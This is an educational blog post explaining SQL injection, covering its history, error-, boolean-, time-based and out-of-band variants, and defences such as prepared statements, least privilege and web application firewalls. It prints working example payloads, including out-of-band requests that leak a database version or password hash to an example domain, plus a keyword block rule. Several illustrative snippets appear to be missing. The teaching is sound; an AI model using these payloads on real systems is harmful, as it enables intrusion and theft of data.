SQL Injection Vulnerabilities and How to Prevent Them

A Brief SQL Injection History Lesson

In the early days of the internet, building websites was straightforward: no JavaScript, no CSS, and few images. But as the web gained popularity, the need for more advanced technology and dynamic websites grew. This led to the development of CGI and server-side scripting languages like ASP, JSP, and PHP.

Websites changed and started storing user input and site content in databases. It is therefore of no surprise that every popular server-side scripting language added support for SQL databases. However, as with almost every technical advance, hackers discovered new attack vectors, and for as long as relational databases have been used in web applications, so too have SQL Injection attack vectors.

The SQL injection vulnerability is one of the most dangerous issues for data confidentiality and integrity in web applications and has been listed in the OWASP Top 10 list of the most common and widely exploited vulnerabilities since its inception. Read the history of the SQL injection vulnerability for a more detailed explanation of how the SQL Injection vulnerability originated.

You can also refer to the SQL Injection Cheat Sheet for detailed technical information about the many different variants of the SQL Injection vulnerability.

What Is a SQL Injection Vulnerability?

Within this blog post, we are trying to shed light on the technical aspects of SQL injections and what you can do to effectively avoid them.

Non-Technical Explanation of the SQL Injection Vulnerability

Imagine a fully-automated bus that functions based on instructions given by humans through a standard web form. That form might look like this:

Drive through <route> and <where should the bus stop?> if <when should the bus stop?>.

Sample Populated Form

Values in bold are provided by humans and instruct the bus. Imagine a scenario where someone manages to send these instructions:

The bus is fully-automated. It does exactly as instructed: it drives up route 66 and does not stop at any bus stop, even when there are people waiting. Such an injection is possible because the query structure and the supplied data are not separated correctly. The automated bus does not differentiate between instructions and data; it simply parses anything it is fed.

SQL injection vulnerabilities are based on the same concept. Attackers are able to inject malicious instructions into benign ones, all of which are then sent to the database server through a web application.

Technical Explanation of SQL Injection Vulnerability

As the name suggests, a SQL injection vulnerability allows an attacker to inject malicious input into an SQL statement. To fully understand the issue, we first have to understand how server-side scripting languages handle SQL queries.

For example, let's say functionality in the web application generates a string with the following SQL statement:

$statement = "SELECT * FROM users WHERE username = 'bob' AND password = 'mysecretpw'";

This SQL statement is passed to a function that sends the string to the connected database where it is parsed, executed and returns a result.

As you might have noticed the statement contains some new, special characters:

• * (asterisk) is an instruction for the SQL database to return all columns for the selected database row.
• = (equals) is an instruction for the SQL database to only return values that match the searched string.
• ' (single quote mark) is used to tell the SQL database where the search string starts or ends.

Now consider the following example in which a website user is able to change the values of '$user' and '$password,' such as in a login form:

= '$password'";

An attacker can easily insert any special SQL syntax inside the statement if the input is not sanitized by the application:

What is happening here? The admin'; -- part is the attacker's input, which contains two new, special characters:

• ; (semicolon) is used to instruct the SQL parser that the current statement has ended (not necessary in most cases).
• -- (double hyphen) instructs the SQL parser that the rest of the line (shown in light grey above) is a comment and should not be executed.

This SQL injection effectively removes the password verification, and returns a dataset for an existing user - 'admin' in this case. The attacker can now log in with an administrator account, without having to specify a password.

The Different Types of SQL Injection Vulnerability

Attackers can exfiltrate data from servers by exploiting SQL Injection vulnerabilities in various ways. Common methods include retrieving data based on errors, conditions (true/false), and timing. Let's look at the variants.

Error-Based SQL Injection

When exploiting an error-based SQL Injection vulnerability, attackers can retrieve information such as table names and content from visible database errors.

Error-Based SQL Injection Example

https://example.com/index.php?id=1+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

This Request Returned an Error

The same method works for table names and content. Disabling error messages on production systems helps to prevent attackers from gathering such information.

Boolean-Based SQL Injection

Sometimes there is no visible error message on the page when a SQL query fails, making it difficult for an attacker to get information from the vulnerable application. However, there is still a way to extract information.

When a SQL query fails, sometimes some parts of the web page disappear or change, or the entire website can fail to load. These indications allow attackers to determine whether the input parameter is vulnerable and whether it allows extraction of data.

Attackers can test for this by inserting a condition into a SQL query:

If the page loads as usual, it might indicate that it is vulnerable to a SQL Injection. To be sure, an attacker typically tries to provoke a false result using something like this:

Since the condition is false, if no result is returned or the page does not work as usual (missing text or a white page is displayed, for example), it might indicate that the page is vulnerable to a SQL injection.

Here is an example of how to extract data in this way:

With this request, the page should load as usual if the database version is 5.X. But, it will behave differently (display an empty page, for example) if the version is different, indicating whether it is vulnerable to a SQL injection.

Time-Based SQL Injection

In some cases, even though a vulnerable SQL query does not have any visible effect on the output of the page, it may still be possible to extract information from an underlying database.

Hackers determine this by instructing the database to wait (sleep) a stated amount of time before responding. If the page is not vulnerable, it will load quickly; if it is vulnerable it will take longer than usual to load. This enables hackers to extract data, even though there are no visible changes on the page. The SQL syntax can be similar to the one used in the Boolean-Based SQL Injection Vulnerability.

But to set a measurable sleep time, the 'true' function is changed to something that takes some time to execute, such as 'sleep(3)' which instructs the database to sleep for three seconds:

If the page takes longer than usual to load it is safe to assume that the database version is 5.X.

Out-of-Band SQL Injection Vulnerability

Sometimes the only way an attacker can retrieve information from a database is to use out-of-band techniques. Usually, these types of attacks involve sending the data directly from the database server to a machine that is controlled by the attacker. Attackers may use this method if an injection does not occur directly after the supplied data is inserted, but at a later point in time.

Out-of-Band Example

https://example.com/index.php?id=1+AND+(SELECT+LOAD_FILE(concat('\\\\',(SELECT @@version),'example.com\\')))

https://www.example.com/index.php?query=declare @pass nvarchar(100);SELECT @pass=(SELECT TOP 1 password_hash FROM users);exec('xp_fileexist ''\\' + @pass + '.example.com\c$\boot.ini''')

In these requests, the target makes a DNS request to the attacker-owned domain, with the query result inside the subdomain. This means that an attacker does not need to see the result of the injection, but can wait until the database server sends a request instead.

Impacts of SQL Injection Vulnerability

There are a number of things an attacker can do when exploiting a SQL injection on a vulnerable website. Usually, it depends on the privileges of the user the web application uses to connect to the database server. By exploiting a SQL injection vulnerability, an attacker can:

• Add, delete, edit, or read content in the database.
• Read source code from files on the database server.
• Write files to the database server.

It all depends on the capabilities of the attacker, but the exploitation of a SQL injection vulnerability can even lead to a complete takeover of the database and web server. You can learn more useful tips on how to test the impact of an SQL injection vulnerability on your website by referring to the SQL injection cheat sheet.

A good way to prevent damage is to restrict access as much as possible (for example, do not connect to the database using the sa or root account). It is also sensible to have different databases for different purposes (for example, separating the database for the shop system and the support forum of your website).

Preventing SQL Injection Vulnerabilities

Server-side scripting languages are not able to determine whether the SQL query string is malformed. All they can do is send a string to the database server and wait for the interpreted response.

Surely, there must be a way to simply sanitize user input and ensure a SQL injection is infeasible. Unfortunately, that is not always the case. There are perhaps an infinite number of ways to sanitize user input, from globally applying PHP's addslashes() to everything (which may yield undesirable results), all the way down to applying the sanitization to "clean" variables at the time of assembling the SQL query itself, such as wrapping the above $_GET['id'] in PHP's mysql_escape_string() function. However, applying sanitization at the query itself is a very poor coding practice and difficult to maintain or keep track of. This is where database systems have employed the use of prepared statements.

Using Prepared Statements as SQL Injection Prevention

When you think of prepared statements, think of how printf works and how it formats strings. Literally, you assemble your string with placeholders for the data to be inserted, and apply the data in the same sequence as the placeholders. SQL prepared statements operate on a very similar concept, where, instead of directly assembling your query string and executing it, you store a prepared statement, feed it with the data, and it assembles and sanitizes it for you upon execution. Great! Now there should never be another SQL injection again. So why, then, are SQL injection attacks still constantly one of the biggest and most prevalent attack methods?

Insecure SQL Queries Are a Problem

Simply put, it perhaps boils down to web application developer laziness and lack of education and awareness. Insecure SQL queries are so extremely easy to create, and secure SQL queries are still mildly complex (or at least more complex than generic and typical in-line and often insecure queries). In the examples above, a malicious hacker can inject anything he or she desires in the same line as the SQL query itself.

Example and Explanation of a SQL Prepared Statement

However, with prepared statements, there are multiple steps. No major database system operates like printf (with everything occurring within the same statement on the same line). MySQL, directly, requires at least two commands (one PREPARE and one EXECUTE). PHP, via the PDO library, also requires a similar stacking approach, such as the following:

$stmt->execute(array($username, $password)); 

At first glance, this is not inherently problematic and, on average, increases each SQL query by only an extra line or two. However, as this requires extra caution and effort on behalf of already tired and taxed developers, often times they may get a little lazy and cut corners, opting, instead, to just use the easy procedural mysql_query() as opposed to the more advanced object-oriented PDO prepare().

Besides this, many developers just stick with what they know to get the job done and they generally learn the easiest and most straightforward way to execute SQL queries rather than showing genuine interest in improving what they know. But this could also be an issue of lack of awareness.

Deeper Into the Rabbit Hole of SQL Injection Security

Say, however, this isn't a case of lazy developers or even a lack of prepared statements -- or, more precisely, say the software itself and its security is out of your hands. Perhaps it is impractical or infeasible to completely secure the SQL queries in the code you use (by one comparison, Drupal has had over 20,000 lines of code committed, WordPress has had over 60,000 lines, and Joomla! has had over 180,000 lines), or, it may simply be impossible because it is encoded, etc., etc. Whatever the case is if you do not have control over the code you may need to employ different, more advanced "outside the box" protections.

Non-Development Related SQL Injection Protection

Running Updated Software

First and foremost, always ensure you are running the most up-to-date software you can. If you are using WordPress or any other CMS framework, keep it updated! The same goes for PHP, your web server software such as Apache and nginx, and your database server (MySQL, Postgres, or others). The more recent the version of your software is the less chance of having a vulnerability or at least a widely-known one. This also extends down to your other software as well, such as SSH, OpenSSL, Postfix, and even the operating system itself.

Block URLs at the Web Server Level

Next, you should employ methods to ensure you are as minimally vulnerable to potential SQL injection attacks as possible. You could perhaps go for a quick and easy match against common SQL query keywords in URLs and just simply block them. For example, if you run Apache as your web server, you could use the following two mod_rewrite lines in your VirtualHost directive, as explained below:

RewriteCond %{QUERY_STRING} [^a-z]
(declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]

RewriteRule (.*) - [F]

This is indeed quite clever, but it does not protect against everything. SQL injection parameters can still be passed via POST values or other RESTful-type URLs, not to mention there are tons of different ways to bypass this kind of generic blacklisting.

Securing the Database and Privileges

You can also ensure your database itself is as secure as possible. In the information security field, there exists a concept known as the principle of least privilege. Effectively, this principle states that a user or program should have only the absolute very least amount of privileges necessary to complete its tasks. We already do this practically every day with Linux file permissions, so the concept is in no way foreign, and is equally applicable to databases. There is probably no reason why your logging functionality should have anything beyond INSERT privileges, so you should not simply GRANT ALL PRIVILEGES because it is easier.

Segregating Sensitive and Confidential Data

Similarly, you might consider separation of data as a defense in depth approach, rather than conglomerating it into a single source. When you step back and think about it, it is probably not a very wise idea to keep your (hopefully PCI-compliant) customer credit card data stored in the same database as your forums, which are running an outdated and highly vulnerable version of phpBB, right? Not only would the principle of least privilege be very applicable in this situation, but even going so far as to entirely separate out your more sensitive data is a very sage approach. To think about it another way, would you keep all your most important paperwork inside your house, or would you keep some in a safety deposit box, too? The same concept applies to sensitive data.

Analyzing HTTP Requests Before Hitting the Web Application

Another option is the use of more detailed firewall systems. Typically this might include some adaptive solution that rides on top of iptables or ipfw (depending on whether you are using Linux or a BSD variant, respectively), or perhaps a reactive Host Intrusion Detection System (HIDS) such as OSSEC, although these are often more complicated than desired and not exactly purpose-built for these uses. Instead, you may wish to utilize a Web Application Firewall, which is designed specifically for these tasks. While there exist several enterprise-level solutions that are both a WAF and database firewall (sitting between your web application and your database), there are many open-source solutions, such as ModSecurity and IronBee, that perform remarkably well.

The Truth About SQL Injection Web Vulnerabilities

Even though we have just provided examples of how to prevent the exploitation of SQL injection vulnerabilities, there is no magic wand.

PHP, however, is attempting a new, aggressive approach. Since PHP 5.5, procedural MySQL has been deprecated and will soon be removed entirely. This means that future software projects will need to be switched to either MySQLi or PDO MySQL in order to continue to work. This is a positive development since it forces developers into a system that handles prepared statements with relative ease - though it still requires stacking a few operations. However, since many developers adopt a 'code golf' style (attempting to code in as few lines or characters as possible), many unfortunately will still opt for a single-line straight query over a two-line prepared statement.

There are other options that can account for development shortcomings, including but not limited to: privilege limitations, data separation, web application firewalls, and many other approaches. But until these options are employed as consistently as SQL injection attacks, it may never be the case that injection-style attacks escape OWASP's Top 10 list.

Be the change that is needed to ensure data and web application security, and keep your databases safe from SQL injections!

Vulnerability Classification and Severity Table